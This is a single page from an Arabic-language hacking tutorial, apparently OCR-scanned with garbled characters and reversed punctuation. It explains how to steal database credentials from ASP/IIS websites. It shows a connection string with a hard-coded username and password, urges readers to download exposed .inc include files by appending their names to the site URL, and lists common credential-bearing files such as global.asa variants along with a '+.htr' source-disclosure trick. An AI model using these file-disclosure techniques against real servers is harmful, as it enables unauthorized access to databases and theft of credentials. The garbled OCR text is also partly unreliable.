Page 230 - بسم الله الرحمن الرحيم
P. 230
>%
("Set DB= Server.CreateObject("ADODB.Connection
DB.Open "DRIVER=SQL
Server;SERVER=xxx;UID=sa;PWD=;APP=Microsoft (R) Developer
"Studio;WSID=xxx;DATABASE=moe_dbs", "_LinuxRay", "6666666
<%
-----------------------------------------------------------------
في الكود السابق تصرى ان اسم المستخد.م هو _LinuxRay
وكلمة السر هي 6666666
-----------------------------------------------------------------
الشئ المضحك انه احيانا اذا كان هناك ختطأ في صفحة ال ASPمثل التصي :
'AMicrosoft VBScript runtime error '800a01a8
'Object required: 'Conn
filename.inc, line 5/
هناك ملف ينتهي بامتداد * inc.هذا ملف يحتوي على اوامر يتم تصنفيذها من جهانب الملقم ويحتوي على اسم
المستخد.م وكلمة المرور
اذن ماذا تصنتظر قم بسحب هذا الملف وذلك باضافة اسم الملف في عنوان الموقع .
وممكن ان تصرى مثل هذا المر في صفحة ASP
عند تصطبيق الثغرة عليها هذا يعني ان اوامر البرمجة داختل ملف database.inc
>!<--"include file = "database.inc#--
وهناك عدة ملفات تصحتوي على كلمة المرور مثل ملفات
global.asa
global.asa++
beforemilion-global.asa
global.asa-
milion.sql
global-direct.asa
ليس من الضرورة ان تصكون الملفات بهذه السماء لكن هذا هو المعتاد عليه من قبل مبرمجين SQL
وكل ماعليك فعله ان تصكتب اسم الصفحة مثل التصي :
global.asa+.htr
230